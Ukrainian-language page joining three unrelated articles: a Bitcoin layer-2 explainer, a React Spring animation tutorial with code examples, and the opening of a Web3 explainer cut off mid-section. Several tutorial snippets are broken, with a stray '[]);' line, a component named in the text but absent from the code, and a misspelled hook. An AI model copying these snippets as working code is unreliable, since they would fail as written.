Що таке L2-рішення масштабування для біткоїну?

Що таке L2-рішення на біткоїні?
Рішення другого рівня ( L2 ) для біткоїну – протоколи, побудовані поверх блокчейна першої криптовалюти. Ці надбудови покликані підвищити продуктивність мережі цифрового золота та розширити її можливості.
L2-рішення обробляють транзакції за межами базового (першого) рівня, знижуючи на нього навантаження та забезпечуючи ряд переваг:
- підвищену масштабованість;
- розширену програмованість;
- значний потенціал підтримки децентралізованих додатків (dapps).
Подібні технології відіграють ключову роль у вирішенні трилеми блокчейну . Вони також сприяють розвитку та розширенню екосистеми біткоїну.
У багатьох учасників ринку цифрове золото асоціюється переважно із засобом збереження вартості. L2-рішення перетворюють біткоїн на значно більш функціональну криптовалюту, здатну підтримувати комплексні програми та системи.
Які проблеми вирішують L2 на біткоїні?
Спочатку біткоїн задуманий як децентралізована та безпечна платіжна система. Однак у міру зростання популярності та зростання індустрії перша криптовалюта зіткнулася з серйозними обмеженнями в контексті масштабування.
Середній час створення блоку в 10 хвилин і пропускна спроможність сім транзакцій в секунду (TPS) не справлялися з навантаженням в періоди пікової активності. Це призводило до зростання комісій та суттєвих затримок у обробці транзакцій.
Обмеження мови Script для біткоїну перешкоджали розробці складних смарт-контрактів таdapps. У відповідь виникла концепція мереж другого рівня першої криптовалюты.
Юзкейси нових рішень виходять за межі вирішення проблем масштабованості — це можливість реалізації кардинально нових сценаріїв в екосистемі біткоїну:
- розширені можливості програмування: L2-рішення дозволяють використовувати складні смарт-контракти у мережі першої криптовалюти. Це відкриває шлях до розвитку децентралізованих фінансів, невзаємозамінних токенів (NFT) та інших напрямків Web3 ;
- DeFi на біткоїні: L2-рішення на кшталт Lightning Network і Stacks відкривають користувачам можливість здійснювати дешеві транзакції без посередників, торгувати, надавати та брати кредити тощо;
- рішення трилеми масштабування: біткоін-L2 допомагають забезпечити баланс децентралізації, безпеки та продуктивності. Мережа першої криптовалюти пріоритезує перші два аспекти, а рішення другого рівня дозволяють суттєво покращити масштабованість.
Як працюють L2-рішення на біткоїні?
Рішення другого рівня з урахуванням биткоина обробляють операції офчейн, знижуючи навантаження перший рівень. Користувачі можуть проводити безліч транзакцій, не записуючи кожну з них безпосередньо в блокчейн. Це збільшує пропускну спроможність і кардинально знижує комісії, роблячи роздрібні платежі більш практичними.
Основні підходи до реалізації біткоін-L2:
- канали стану : рішення на кшталт Lightning Network дозволяють проводити операції між учасниками миттєво та майже без комісій;
- ролапи : безліч транзакцій об’єднується в єдиний пакет, який підтверджується в блокчейні першого рівня;
- сайдчейни – окремі блокчейни із власним механізмом консенсусу, пов’язані з основною мережею біткоїну двосторонньою прив’язкою.
Що таке канали стану?
Розглянемо докладніше основні засади роботи каналів стану.
Криптотранзакції — це, по суті, взаємодія двох гаманців із рівнем консенсусу блокчейну. Стан мережі змінюється після кожної операції, вимагаючи валідації перед оновленням.
Будучи L2-рішенням, технологія дозволяє здійснювати швидкі та дешеві транзакції між сторонами у межах виділених каналів між ними. Також генерується мультисиг- адреса для утримання коштів від імені учасників.
Зміни внаслідок переказів активів фіксуються поза основним блокчейном. Кожна нова транзакція перезаписує попередній стан. Така комунікація може продовжуватися як завгодно довго.
Після завершення сесії канал закривається. Підсумкова інформація з балансами за результатами останньої операції відправляється до основної мережі як єдина транзакція, після чого оновлюється стан блокчейна.
Канали стану не лише прискорюють транзакції, а й дозволяють заощадити завдяки низьким комісіям. Це особливо помітно під час серії перекладів.
Прикладом такого рішення є мережа мікроплатежів Lightning Network.
Що таке сайдчейни?
Сайдчейни пропонують спосіб проводити операції, не навантажуючи Мейннет.
Це окремі блокчейни, пов’язані з основною мережею і мають певний ступінь автономності. На відміну від каналів стану, у цих рішеннях використовуються власні алгоритми консенсусу та інші підходи.
Незалежні мережі можуть кардинально відрізнятися за архітектурою від першого рівня. У випадку з біткоїном сайдчейни дозволяють виконувати смарт-контракти і можуть лягати в основу складних протоколів на кшталт децентралізованих бірж (DEX).
Пов’язані з мейннетом через мости сайдчейни розширюють можливості екосистеми. Користувачі можуть переводити активи між ланцюжками завдяки спеціальним смарт-контрактам, які блокують певну суму в одній мережі та випускають еквівалент в іншій.
Існують різні підходи до реалізації сайдчейнів, зокрема й у контексті питань безпеки. Деякі використовують власну систему захисту: вони незалежні від основного блокчейну та пов’язані з ним лише можливістю обміну ресурсами. Інші сайдчейни тією чи іншою мірою інтегруються у механізми безпеки батьківської мережі.
Відомі приклади подібних рішень для біткоїну: Stacks та Rootstock Infrastructure Framework (RIF).
Що таке роллапи?
Ролапи (Rollups) – це L2, побудовані поверх основної мережі і виступають переважно як рівень виконання транзакцій. Вони прискорюють операції та значно знижують комісії.
Ролапи збирають транзакції пакети, які передаються в основну мережу (L1) для остаточної валідації. Один пакет може містити до 10 000 транзакцій.
У багатьох роллап-рішеннях застосовується метод доказу з нульовим розголошенням. Такі технології об’єднані у групу під назвою ZK-Rollups.
Розроблена Celestia Labs платформа Rollkit створила модульну структуру для підтримки суверенних ролопів на блокчейні біткоїну.
«Rollkit відкриває розробникам можливість створювати роліпи з довільними середовищами виконання, які успадковують гарантії доступності даних біткоїну та стійкість до реорганізації», – зазначили учасники проекту.
За їх словами, технологія дозволяє оптимізувати блоковий простір, знизити комісії та відкриває шлях до реалізації DeFi-рішень на ресурсах мережі першої криптовалюти.
У Rollkit наголосили, що проект став можливим завдяки оновленню Taproot, а шлях до вирішення показав протокол Ordinals для випуску NFT на блокчейні біткоїну. Останній продемонстрував, як можна у блоках публікувати довільні дані. Залишалося просто реалізувати дві функції: відправлення та вилучення роліпів, зазначили розробники.
Rollkit підтримує рівні виконання, що налаштовуються, включаючиEVM, CosmWasm та Cosmos SDK.
Для тестування інтеграції команда проекту використовувала локальний тест біткоїну та Ethermint для запуску Ethereum Virtual Machine (EVM).
Інший приклад роллап-проекту для мережі біткоїну – Merlin Protocol.
Що таке Lightning Network?
Lightning Network (LN) — рішення другого рівня для блокчейна біткоїну, яке є мережею платіжних каналів між користувачами.
Подібну концепцію пропонував ще Сатоші Накамото. У 2009 році він представив співтоваристві начерк коду, який передбачав створення спеціальних каналів між користувачами.
У лютому 2015 року біткоін-розробники Джозеф Пун та Таддеус Драйя розпочали роботу над LN, опублікувавши документ під назвою The Bitcoin Lightning Network .
У серпні 2017 року в мережі біткоїну активували софтфорк Segregated Witness — необхідне оновлення Lightning Network.
Тестову версію клієнта LN випустила у березні 2018 року команда Lightning Labs. На той момент у мережі вже працювало понад 1000 вузлів і було відкрито 1863 канали.
Платіжний протокол другого рівня проводить транзакції між двома сторонами поза межами мейннету першої криптовалюти. Мережа масштабування здатна обробляти до мільйона транзакцій на секунду, що значно перевищує можливості основного блокчейну.
Для відкриття каналу LN обидві сторони вносять біткоїни на мультисиг-адресу. Учасники проводять транзакції в рамках каналу, використовуючи кошти на адресу, а програмне забезпечення Lightning Network відповідає за оновлення балансу гаманців. Після закриття каналу мережа однією транзакцією відправляє дані про операції в блокчейн біткоїну.
Lightning Network дозволяє проводити необмежену кількість транзакцій за ціною однієї, що значно економить комісії та забезпечує високу швидкість. З моменту запуску LN отримала широке застосування: мережа інтегрувала багато торгових майданчиків, а деякі централізовані біржі задіяли її для поповнень і висновків коштів.
Станом на 16 березня працюють 13953 LN-ноди, пов’язані між собою 54109 платіжними каналами. Місткість мережі мікроплатежів становить 4574 BTC ($315,5 млн), згідно з даними 1ML .
Що таке Stacks Network?
Stacks – пропонує сумісні з біткоїном смарт-контракти і спирається на безпеку блокчейна першої криптовалюти.
Напівавтономний сайдчейн біткоїну працює на унікальному алгоритмі консенсусу Proof of Transfer (PoX). Останній поєднує Proof-of-Stake та Proof-of-Burn, пов’язуючи майнерів цифрового золота та стейкерів Stacks.
Видобувачі першої криптовалюти використовують BTC, щоб отримати право валідації блоків у сайдчейні, заробляючи винагороди у STX. Стейкери, блокуючи свої STX, одержують нагороди в BTC.
Замість прямого використання блокчейну біткоїну Stacks покладається на майнерів цієї мережі для валідації. Міст забезпечує переміщення криптоактивів між мережами, а SBTC є версією BTC на Stacks.
Платформа підтримує смарт-контракти та DeFi-додатки. На момент написання загальна заблокована вартість (TVL) у Stacks перевищує $130 млн.
Що таке Rootstock (RIF)?
Rootstock Infrastructure Framework (RIF) – сайдчейн за допомогою віртуальної машини Ethereum.
Наслідуючи безпеку біткоїну, мережа використовує алгоритм консенсусу Proof-of-Work. Взаємозв’язок із мережею першої криптовалюти забезпечується двостороннім протоколом PoWPeg.
Останній відповідає за безперешкодне переведення активів між ланцюжками. Щоб перевести BTC в мережу Rootstock, користувачі блокують свої біткоїни в смарт-контракті сайдчейну та випускають еквівалентну кількість RBTC. Ці монети можна використовувати для швидких і недорогих транзакцій.
Консенсус у Rootstock схожий на механізм у мережі біткоїну, який також працює на Proof-of-Work. Видобувачі криптовалюти можуть паралельно підтверджувати блоки на обох ланцюжках – це називається об’єднаним майнінгом (Merged mining).
Активні учасники мережі Rootstock отримують винагороду RBTC. Рівень виконання, здатний обробляти просунуті смарт-контракти, значно розширює функціональність біткоїну.
Серед ключових компонентів RIF:
- гаманець RIF Wallet;
- шлюзи RIF DeFi Gateways для доступу до децентралізованих фінансових сервісів;
- платіжне рішення RIF Rollup;
- RIF Relay, що дозволяє оплачувати транзакційні комісії токенами ERC-20;
- міст для BTC-трансферів RIF Flyover
RIF виконує функцію utility-токена екосистеми.
У грудні 2023 року найбільша децентралізована біржа Uniswap інтегрувала сайдчейн Rootstock.
TVL екосистеми Rootstock наближається до позначки $200 млн.
Що таке Liquid Network?
Liquid Network від компанії Blockstream – найбільш відомий сайдчейн на базі біткоїну.
Рішення збудовано на вихідному коді проекту Elements. Для створення останнього використовували кодову базу першої криптовалюти. Однак у Liquid час створення блоку зменшено з 10 до 1 хвилини за рахунок зниження децентралізації.
У Liquid немає активного активу. Натомість у ньому використовується подоба «оберненого» токена L-BTC. Останній випускається при переведенні біткоїнів з «рідного» блокчейну до сайдчейну. L-BTC забезпечені BTC у співвідношенні 1:1.
У сайдчейні від Blockstream є функції конфіденційних транзакцій.
Разом з тим Liquid не можна назвати настільки ж децентралізованим блокчейном, як і біткоін. Проектом керує «федерація» — відносно невелика група організацій, розподілених у світі та незалежних одна від одної.
У блокчейні Liquid випущено невеликий обсяг стейблкоінов Tether (USDT).
Що таке Merlin Protocol?
Merlin Protocol – роллап-проект, який позиціонується як “першопрохідник в адаптації цінних біткоін-активів до EVM, що долає обмеження мережі першої криптовалюти”.
Користувачі можуть отримати доступ до мережі безпосередньо через свої гаманці биткоин завдяки протоколу BTC Connect від Particle Network.
Для досягнення масштабованості Merlin використовує технологію ZK-Rollups. Фіналізація «згорнутих» транзакцій відбувається на блокчейні біткоїну. За твердженнями розробників, такий підхід забезпечує найвищий рівень безпеки.
Підтримуючи Web3-гаманці на кшталт MetaMask, протокол забезпечує гарний досвід користувача. Створені на Ethereum та інших EVM-мережах проекти можуть бути перенесені на Merlin практично без змін у вихідному коді.
Мережа підтримує BRC-20 та токени ERC-стандартів. На Merlin вже з’являються перші DeFi-додатки, а TVL перевищує $14 млн.
Що таке SatoshiVM?
SatoshiVM – EVM-сумісне L2-рішення для біткоїну на базі технології ZK-Rollups. Використання останньої забезпечує високу швидкість транзакцій при низьких комісіях, одночасно підтримуючи децентралізацію та високий рівень безпеки.
BTC є нативним активом мережі SatoshiVM, що використовується для оплати газу. Переміщені на другий рівень біткоїни можна блокувати в DeFi-додатках, а також задіяти під час роботи з «написами» стандарту SARC20.
Які «підводні камені» у L2 на биткоине?
Сайдчейни та L2-рішення в екосистемі біткоїну використовують мости для взаємодії з «першим поверхом». Класична схема роботи таких інструментів передбачає блокування активів у блокчейні першої криптовалюти з одночасним випуском їх еквівалентів у мережі другого рівня.
Однак цьому підходу притаманні вразливості, що загрожує проблемами з безпекою — побудовані за такою схемою мости не раз ставали жертвами атак хакерів, а сукупні втрати становлять мільярди доларів. Незважаючи на спроби створити більш досконалі протоколи мостів, багато L2-рішень для біткоїну, як і раніше, залишаються залежними від потенційно небезпечної моделі «блокування-випуск».
Робота ролопів та каналів стану завершується лише після фіналізації в основній мережі. Від швидкості та вартості таких операцій залежить ефективність L2-рішень.
Багато представлених на ринку рішень вже довели свою життєздатність, але потрібні їх подальші покращення. Суттєві оптимізації реалізовані в нещодавньому оновленні Dencun в мережі Ethereum, і для вдосконалення біткоін-L2 будуть потрібні аналогічні зусилля розробників.
Як розвиваються L2-рішення на біткоїні?
L2-рішення продовжать розвиватися, розширюючи функціональність та підвищуючи продуктивність мережі біткоїну.
У липні найбільша криптобіржа Binance завершила інтеграцію Lightning Network. Тепер користувачі можуть вводити та виводити біткоїни через цей протокол другого рівня. Інтеграція свідчить про зростаючу популярність L2-рішень, що може послужити драйвером для суттєвих інновацій у галузі масштабованості та зручності використання екосистеми.
Нижче представлено низку потенційних напрямів розвитку:
- технологічні поліпшення: розвиток криптографічних методів та алгоритмів консенсусу може підвищити безпеку, надійність та дружність L2-рішень у контексті користувальницького досвіду;
- широке впровадження: збільшення поінформованості про нові технології здатне призвести до зростання їх використання серед пересічних учасників ринку та організацій;
- інтеграція зTradFi: L2-мережі для біткоїну можуть більш тісно інтегруватися з традиційними фінансовими системами, відкривши дорогу для інноваційних продуктів та послуг;
- акцент на досвіді користувача: розробники зосередяться на поліпшенні UX для залучення ширшої аудиторії;
- співробітництво та стандартизація: можлива тісніша кооперація між L2-проектами, яка призведе до стандартизації та можливості взаємодії різних рішень.
Співзасновник та CTO Casa Джеймсон Лопп у жовтні закликав розробників до більш активних експериментів з першою криптовалютою для розширення та покращення її екосистеми.
Він наголосив на доцільності створення нових рішень на «пов’язаних, але відмінних від біткоїну протоколах», щоб не вносити постійно зміни до коду першої криптовалюти.
Зокрема, розробник наголосив на рішеннях, що з’явилися відносно недавно — драйвчейни, Spiderchain і BitVM. На його думку, вони дозволяють «розвантажити» мемпул та розширити можливості смарт-контрактів на біткоїні.
Рішення другого рівня є надзвичайно важливими для розвитку екосистеми цифрового золота. Вони усувають ключові виклики та створюють нові можливості для масового прийняття криптовалют.
Джерело
Створення інтерактивних анімацій за допомогою React Spring

Ця стаття присвячена React Spring – бібліотеці анімації на основі JavaScript. Ми розглянемо її фічі, включаючи різні хуки та компоненти, і те, як використовувати їх у додатках.
Анімація в React-додатках постійно розвивається. Спочатку вона реалізовувалася за допомогою CSS-переходів, але зі зростанням складності додатків стало ясно, що потрібні потужніші інструменти. З’явилися бібліотеки анімації на основі JavaScript, такі як Framer Motion, Remotion та React Spring, кожна з яких пропонує унікальні можливості для створення анімації в React.
Ця стаття передбачає, що ви маєте наступне:
- є базове розуміння React та React Hooks;
- ви знайомі з синтаксисом JavaScript та JSX;
- у середовищі розробки встановлені Node.js та
npm
(або yarn
);
- є редактор коду – наприклад, Visual Studio Code.
Введення в React Spring
React Spring – це JavaScript-бібліотека для створення інтерактивних анімацій у React-додатках. На відміну від традиційної анімації на основі CSS або інших бібліотек анімації React, React Spring використовує анімацію на основі фізики, яка імітує реальні рухи та створює більш природний ефект.
Ці анімації можна застосувати до будь-якої властивості React-компонентів, включаючи положення, масштаб, непрозорість та багато іншого. Це робить його потужним інструментом для розробників, які бажають поліпшити досвід користувача React-додатків за допомогою захоплюючих анімацій.
Налаштування React Spring у проекті
Щоб анімувати компоненти в React проекті за допомогою React Spring, потрібно виконати такі кроки:
- Завантажити та встановити бібліотеку React Spring за допомогою
npm
або yarn
:
npm install react-spring
yarn add react-spring
Ці команди встановлять бібліотеку react-spring та її залежності до каталогу проекту.
- Після встановлення React Spring потрібно імпортувати необхідні компоненти та хуки до компонентів React, щоб почати анімувати елементи. Це можна зробити за допомогою наступного синтаксису:
import { animated, (hook) } from 'react-spring'
У наведеному вище фрагменті коду ми імпортуємо дві залежності (хук та анімацію) з бібліотеки React Spring. Ось докладний опис того, як працює кожен із них, і чому їх необхідно імпортувати.
Animated
У React Spring анімований ( animated
) простір імен надає набір компонентів, які дозволяють анімувати елементи в програмі React. Ці компоненти являють собою анімовані версії стандартних HTML елементів, таких як <div>
, <span>
і <img>
. Ми можемо використовувати ці анімовані елементи замість звичайних HTML елементів та застосовувати до них анімації за допомогою хуків анімації React Spring.
Хукі
Для створення анімації у React-компонентах React Spring пропонує декілька хуків. Вони спрощують процес управління анімаціями та дозволяють легко інтегрувати їх у компоненти. Ось деякі з них:
- useSpring . Використовується здебільшого, оскільки створює одну пружинну анімацію, яка змінює дані з початкового стану до іншого.
- useTransition . Анімує додавання, видалення або перевпорядкування елементів списку. Вона керує життєвим циклом анімації елементів, коли вони входять або виходять із DOM, забезпечуючи плавні переходи між різними станами списку.
- useTrail . Використовується для створення кількох пружинних анімацій, що створюють ефект “сліду”, коли кожна пружина слідує за попередньою або відстає від неї.
- useChain . Як і ланцюжок, використовується визначення послідовності анімацій із зазначенням порядку їх проходження.
- useSprings . Хоча це схоже на
useSpring
, useSprings
використовується для управління кількома анімаціями пружинними одночасно, в той час як useSpring
управляє однією пружинною анімацією.
Щоб краще зрозуміти, як вони працюють, давайте розглянемо різні стилі анімації, яких можна досягти за допомогою кожного з цих хуків.
Використання useSpring для створення анімацій
Хук useSpring
React Spring використовується для створення анімації з використанням фізики пружини. Він дозволяє нам визначити початкову та кінцеву точки анімації та використовує свою бібліотеку для обробки переходу між ними. Наприклад:
const props = useSpring({
opacity: 1,
from: { opacity: 0 }
});
У цьому прикладі ми створили функцію, яка змінює непрозорість елемента від 0 до 1. Цю функцію можна викликати різних елементів залежно від ефектів анімації. Давайте розглянемо кроки, які потрібно зробити при використанні хука useSpring
для створення анімації.
По-перше, імпортуйте залежності, необхідні для анімації:
import { useSpring, animated } from "react-spring";
Далі нам потрібно визначити компонент та використовувати хук useSpring
для створення анімованих значень. Хук useSpring
приймає два основні аргументи:
- Об’єкт конфігурації. Він визначає властивості нашої анімації, включаючи:
- from: початковий стан анімованого значення (наприклад, opacity: 0)
- to: цільовий стан анімованого значення (наприклад, opacity: 1)
- config (необов’язково): об’єкт для точного настроювання фізичної поведінки пружини (наприклад, маса, натяг, тертя).
- Callback-функція (необов’язково). Ми можемо використовувати функцію для створення динамічної конфігурації на основі властивостей чи даних.
Анімацію useSpring
можна створити двома різними методами: за допомогою об’єктного літералу та за допомогою параметра функції.
Використання об’єктного літералу
Ми можемо визначити об’єкт із властивостями, які хочемо анімувати, наприклад, opacity
або color
і передати його в хук useSpring
. Такий підхід дозволяє прямо вказати цільові значення для анімації.
Щоб пояснити, як це працює, давайте створимо простий компонент, який анімує непрозорість елемента:
import React, { useState } from 'react';
import { useSpring, animated } from 'react-spring';
function App() {
const [isVisible, setIsVisible] = useState(false);
const opacityAnimation = useSpring({
opacity: isVisible ? 1 : 0,
config: {
tension: 200,
friction: 20
}
});
const toggleVisibility = () => setIsVisible(!isVisible);
return (
<div>
<button onClick={toggleVisibility} aria-label={isVisible ? 'Hide' : 'Show'}>
{isVisible ? 'Hide' : 'Show'}
</button>
<animated.div style={opacityAnimation}>
This text will fade in and out with spring physics.
</animated.div>
</div>
);
}
export default App;
У цьому фрагменті коду ми створюємо кнопку, яка перемикає видимість тексту. Для цього використовуються два хуки – useState
і useSpring
.
За допомогою useState
перевіряється, чи видно текст чи ні, і створюється анімація, що змінює непрозорість тексту залежно від цієї умови:
opacity: isVisible ? 1 : 0
Це дає ефект анімації при натисканні на кнопку, яка викликає функцію toggleVisibility()
.
Використання параметра функції
В якості альтернативи можна передати функцію в хук useSpring
. Ця функція отримує попередні значення анімації та повертає об’єкт з оновленими значеннями для анімації. Це дає більше контролю над тим, як анімація поводиться з часом:
const opacityConfig = {
tension: 300,
friction: 40,
};
// Define opacity animation with useSpring hook
const opacityAnimation = useSpring(() => ({
opacity: isVisible ? 1 : 0,
config: opacityConfig,
}));
При такому підході конфігурація (натяг та тертя) витягується в окремий об’єкт — opacityConfig
що забезпечує більшу гнучкість для динамічного управління на основі стану або властивостей.
Анімація елементів списку за допомогою UseTransition
UseTransition
– це хук React Spring, який анімує елементи в масивах при їх додаванні або видаленні з DOM. Він особливо корисний для створення плавної анімації у списках; при цьому він приймає список можливих конфігурацій:
from
визначає початкові стилі елементів, що входять у DOM.
enter
задає стилі анімації при додаванні елементів. Ми можемо створювати багатоступінчасті анімації, надаючи масив об’єктів.
leave
задає стилі, які застосовуються при видаленні елементів із DOM.
update
керує тим, як анімувати зміни між наявними елементами.
key
дозволяє явно визначити унікальний ключ кожного елемента, що у своє чергу допомагає визначити специфічні анімації окремих елементів.
from
і to
з переходами: їх можна використовувати в рамках enter
і для більш складних анімацій з початковими і кінцевими станами, що визначаються незалежно leave
.update
Щоб проілюструвати роботу useTransition
, давайте створимо компонент, який додає та видаляє елементи з масиву:
import React, { useState } from "react";
import { useTransition, animated } from "react-spring";
function App() {
const [items, setItems] = useState([]);
const addItem = () => {
const newItem = `Item ${items.length + 1}`;
setItems([...items, newItem]);
};
const removeItem = () => {
if (items.length === 0) return;
const newItems = items.slice(0, -1);
setItems(newItems);
};
const transitions = useTransition(items, {
from: { opacity: 0, transform: "translate3d(0, -40px, 0)" },
enter: { opacity: 1, transform: "translate3d(0, 0, 0)" },
leave: { opacity: 0, transform: "translate3d(0, -40px, 0)" },
});
return (
<div className="transitionDiv">
<div>
<button onClick={addItem}>Add Item</button>
<button onClick={removeItem}>Remove Item</button>
</div>
<div className="transitionItem">
{transitions((style, item) => (
<animated.div style={style} className ='list'>{item}</animated.div>
))}
</div>
</div>
);
}
export default App;
У цьому прикладі ми маємо компонент App
, який керує списком елементів. Він надає кнопки для динамічного додавання або видалення елементів зі списку. При натисканні на кнопку “Add Item” («Додати елемент) до масиву додається новий елемент, а при натисканні на кнопку “Remove Item” («Видалити елемент») з масиву видаляється останній елемент.
Хук useTransition
використовується для керування переходами елементів у масиві. Коли масив змінюється (в результаті додавання або видалення елементів), useTransition
обробляє анімацію для цих змін відповідно до заданої конфігурації (визначеної властивостями from
, enter
і leave
).

Масиви анімацій без змін
Якщо в масиві немає динамічних змін, таких як додавання або видалення елементів, useTransition
все одно можна використовувати для анімації кожного елемента в масиві. Наприклад:
import { useTransition, animated } from "@react-spring/web";
import "./App.css";
const name = "Product1";
const name1 = "Product2";
const name2 = "Product3";
function App({ data = [name, name1, name2] }) {
const transitions = useTransition(data, {
from: { scale: 0 },
enter: { scale: 1 },
leave: { scale: 0.5 },
config: { duration: 2500 },
});
return transitions((style, item) => (
<div className="nameBody">
<animated.div style={style} className="nameDiv">
{item}
</animated.div>
</div>
));
}
export default App;
У цьому прикладі компонент App
відображає список елементів та застосовує анімацію під час кожного завантаження сторінки.

Створення послідовних анімацій за допомогою useTrail
Анімація useTrail
використовується для створення серії анімованих переходів для групи або списку елементів інтерфейсу користувача.
На відміну від традиційних методів анімації, які анімують елементи окремо, useTrail
дозволяє анімувати елементи один за одним, створюючи тим самим ефект сліду (trail). Зазвичай це використовується при створенні динамічних списків, галерей зображень, переходів між сторінками або інших сценаріїв, де елементи повинні анімуватися послідовно.
Ось основна структура синтаксису:
const trail = useTrail(numberOfItems, config, [trailOptions]);
Давайте розберемося:
NumberOfItems
. Це необхідне число, яке визначає скільки елементів ми хочемо анімувати в trail.
config
. Об’єкт, що визначає властивості анімації для кожного елемента в trail. Кожен ключ в об’єкті представляє властивість анімації, і його значення може ґрунтуватися на нашій передбачуваній анімації. Наприклад:
from: { opacity: 0, transform: 'translateX(50%)' },
to: { opacity: 1, transform: 'translateX(0)' },
transition: {
duration: 500,
easing: 'easeInOutCubic',
},
trailOptions
(не обов’язково). Це масив додаткових опцій для trail. Деякі спільні опції:
trailKey
: функція для створення унікальних ключів для кожного елемента в trail (корисно для узгодження з React).
reset
: функція для скидання всіх анімацій у trail.
Давайте подивимося, як це працює:
import React, { useState, useEffect } from "react";
import { useTrail, animated } from "react-spring";
function App() {
const [items, setItems] = useState([
{ id: 1, content: "This is a div illustrating a trail animation" },
{ id: 2, content: "This is a div illustrating a trail animation" },
{ id: 4, content: "This is a div illustrating a trail animation" },
{ id: 5, content: "This is a div illustrating a trail animation" },
]);
[]);
const trail = useTrail(items.length, {
from: { opacity: 1, transform: "translateY(0px)" },
to: { opacity: 0, transform: "translateY(100px)" },
delay: 400, // Add a delay between animations
duration: 2000, // Customize the animation duration
});
return (
<div className="container">
{trail.map((props, index) => (
<animated.div key={items[index].id} style={props} className="item">
{items[index].content}
</animated.div>
))}
</div>
);
}
export default App;
У наведеному вище фрагменті коду ми створюємо компонент CardCarousel
– він використовує хук useTrail
для анімації кожної картки каруселі залежно від довжини масивних елементів.
const trail = useTrail(items.length, {
from: { opacity: 1, transform: "translateY(0px)" },
to: { opacity: 0, transform: "translateY(100px)" },
delay: 400, // Add a delay between animations
duration: 2000, // Customize the animation duration
});
Тут задаються початковий і кінцевий стан анімації (від і до), і навіть конфігурація переходу (тривалість і пом’якшення), що впливає спосіб відображення анімації.
Рендеринг кожної картки
Компонент повертає <div>
з класом card-carousel
та відображає масив trail для рендерингу кожної анімованої картки. Потім кожна картка обертається в компонент animated.div
із застосуванням стилів анімації (непрозорість та трансформація), заданих у хуку useTrail
:
return (
<div className="container">
{trail.map((props, index) => (
<animated.div key={items[index].id} style={props} className="item">
{items[index].content}
</animated.div>
))}
</div>
);

Підготовка послідовності анімацій за допомогою useChain
На відміну від окремих анімацій, useChain
використовується для зв’язування кількох анімацій та задає послідовність виконання заданих анімацій. Це особливо корисно при створенні динамічних інтерфейсів, де елементи анімуються один за одним.
Давайте розглянемо синтаксис.
UseChain
приймає масив посилань на анімацію та необов’язковий об’єкт конфігурації. Кожне посилання на анімацію є окремою анімацією, і вони виконуються в тому порядку, в якому з’являються в масиві. Ми також можемо вказати час затримки кожної анімації, щоб контролювати час виконання послідовності за допомогою цього синтаксису:
useChain([ref1, ref2, ref3], { delay: 200 });
Щоб проілюструвати, як це працює, давайте створимо компонент, який застосовує дві анімації до різних елементів і керує ними за допомогою useChain
:
import "./App.css";
import React, { useRef } from "react";
import {
useTransition,
useSpring,
useChain,
animated,
useSpringRef,
} from "react-spring";
const data = ["", "", "", ""];
function App() {
const springRef = useSpringRef();
const springs = useSpring({
ref: springRef,
from: { size: "20%" },
to: { size: "100%" },
config: { duration: 2500 },
});
const transRef = useSpringRef();
const transitions = useTransition(data, {
ref: transRef,
from: { scale: 0, backgroundColor: "pink" },
enter: { scale: 1, backgroundColor: "plum" },
leave: { scale: 0, color: "pink" },
config: { duration: 3500 },
});
useChain([springRef, transRef]);
return (
<animated.div
style={{
display: "flex",
alignItems: "center",
justifyContent: "center",
height: "400px",
width: springs.size,
background: "white",
}}
>
{transitions((style, item) => (
<animated.div
style={{
width: "200px",
height: "200px",
display: "flex",
justifyContent: "center",
alignItems: "center",
textAlign: "center",
marginLeft: "50px",
color: "white",
fontSize: "35px",
borderRadius: "360px",
...style,
}}
className="products"
>
{item}
</animated.div>
))}
</animated.div>
);
}
export default App;
У наведеному вище коді ми створюємо дві різні анімації, використовуючи useString
і useTransition
, а також використовуємо useChain
для керування різними анімаціями:
useChain([springRef, transRef]);

Створення декількох анімацій за допомогою хука useSprings
Як ми вже говорили, useSprings
використовується для створення кількох пружинних анімацій одночасно і кожна з цих анімацій має свої конфігурації. Це дозволяє нам анімувати кілька елементів або властивостей незалежно один від одного у межах одного компонента. Наприклад:
import { useSprings, animated } from "@react-spring/web";
function App() {
const [springs, api] = useSprings(
3,
() => ({
from: { scale: 0, color: "blue" },
to: { scale: 1, color: "red" },
config: { duration: 2500 },
}),
[]
);
return (
<div>
{springs.map((props) => (
<animated.div style={props} className="springsText">
_______
</animated.div>
))}
</div>
);
}
export default App;
У цьому прикладі useSprings
керує масивом пружинних анімацій, кожна з яких представляє анімацію для одного елемента масиві елементів. Кожен елемент у списку пов’язаний із конфігурацією spring, яка визначає початкові та цільові значення для властивостей кольору та масштабу. Потім React Spring анімує кожен елемент на основі конфігурації.

Висновок
React Spring – це потужна бібліотека анімації, яка дозволяє створювати чудові інтерактивні анімації в React-додатках. Як ми побачили, ці анімації можуть застосовуватись до різних елементів у проектах.
Використовуючи можливості React Spring, ми можемо досягти більш плавних переходів із більш природними ефектами, а також отримати більший контроль над анімацією.
Переклад
Що таке Web3?

Головне
- Web3 (Web 3.0) – термін, що означає нове покоління інтернету. Він охоплює як інфраструктурні елементи, і додатки.
- Точного визначення Web3 немає. Концепція Web 3.0 з’явилася ще в 90-ті роки і включала такі поняття як семантична павутина. Останніми роками Web3 пов’язані з принципом децентралізації.
- Сучасні Web3-додатки мають такі атрибути як ДАО, криптовалюти, блокчейн та децентралізовані системи зберігання даних, суверенна ідентичність (SSI), «інтернет речей», метавсесвіт, NFT та інші явища та технології.
Що таке Web 1.0 та Web 2.0?
Web 1.0 — це перша версія «Всесвітньої мережі» (World Wide Web), яка почала набувати популярності на початку 90-х після впровадження протоколу комунікації та HTTP. Сайти цієї версії являли собою статичні сторінки з текстом, посиланнями та зображеннями. За словами Тіма Бернерса-Лі, якого називають автором Мережі, сайти Web 1.0 були доступні лише для читання. Взаємодія з сайтами обмежувалася найпростішими формами комунікації, такими як форуми.
Web 2.0 – друге покоління інтернету, яке почало поширення на початку 2000-х. Основу Web 2.0 становлять інтерактивні платформи та сервіси, підключені до Всесвітньої мережі. На відміну від першого покоління, сайти стали веб-додатками, які можуть самостійно використовувати користувачі. Пізніше до цього додалися соціальні мережі та система хмарних сервісів. Відомі представники Web 2.0 – Amazon, Facebook та Twitter.
Чим Web3 відрізняється від попередніх версій Інтернету?
У Web 1.0 дані були представлені користувачам статично – веб-сайти мали виключно інформаційний характер. У Web 2.0 користувачі активно взаємодіють із інтернет-ресурсами, створюють власний контент та спілкуються один з одним.
